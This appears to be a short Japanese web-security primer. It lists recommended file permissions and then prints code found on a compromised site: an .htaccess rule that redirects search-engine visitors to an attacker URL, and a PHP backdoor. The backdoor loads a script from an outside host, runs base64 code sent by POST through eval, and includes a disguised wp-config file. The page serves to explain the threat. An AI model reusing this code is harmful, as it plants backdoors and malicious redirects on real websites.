覚えておきたいウェブセキュリティーの基礎３つのポイント

HTML・画像ファイル「604」rw----r--
CGIの実行ファイル「700」rwx------
CGIのデータファイル「600」rw-------
.htaccessファイル「604」rw----r--
ディレクトリ「705」rwx---r-x

ErrorDocument 400 http://【リダイレクト先URL】
ErrorDocument 401 http://【リダイレクト先URL】
ErrorDocument 403 http://【リダイレクト先URL】
ErrorDocument 404 http://【リダイレクト先URL】
ErrorDocument 500 http://【リダイレクト先URL】
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
【一部省略】
RewriteRule ^(.*)$ http://【リダイレクト先URL】 [R=301,L]
</IfModule>

<?php 
 
global $sessdt_o;
if(!$sessdt_o) {
	$sessdt_o = 1; 
	$sessdt_k = "lb11";
	if(!@$_COOKIE[$sessdt_k]) {
		$sessdt_f = "102"; 
		if(!@headers_sent()) { 
			@setcookie($sessdt_k,$sessdt_f);
		} else {
			echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>";
		}
	} else { 
		if($_COOKIE[$sessdt_k]=="102") {
			$sessdt_f = (rand(1000,9000)+1);
			if(!@headers_sent()) { 
				@setcookie($sessdt_k,$sessdt_f);
			} else {
				echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; 
			}
			$sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"];
			$sessdt_v = urlencode(strrev($sessdt_j)); 
			$sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200);
			echo "<script src='$sessdt_u'></script>";
			echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
		}
	}
		$sessdt_p = "showimg"; 
		if(isset($_POST[$sessdt_p])){
			eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));
			exit;
		}
}
if(isset($_GET["t5808"])){
	 include("/サーバーパス/wp-config.php.htm");
	 exit; 
} ?>
 
<?php 
 if(isset($_GET["t2870"])){ 
 	include("/サーバーパス/wp-config.php.htm"); 
	exit;
} ?>
<?php
if(isset($_GET["t4860"])){ 
	include("/サーバーパス/wp-config.php.htm"); 
	exit;
} ?>
<?php 
if(isset($_GET["t8837"])){
	include("/サーバーパス/wp-config.php.htm"); 
	exit; 
} ?>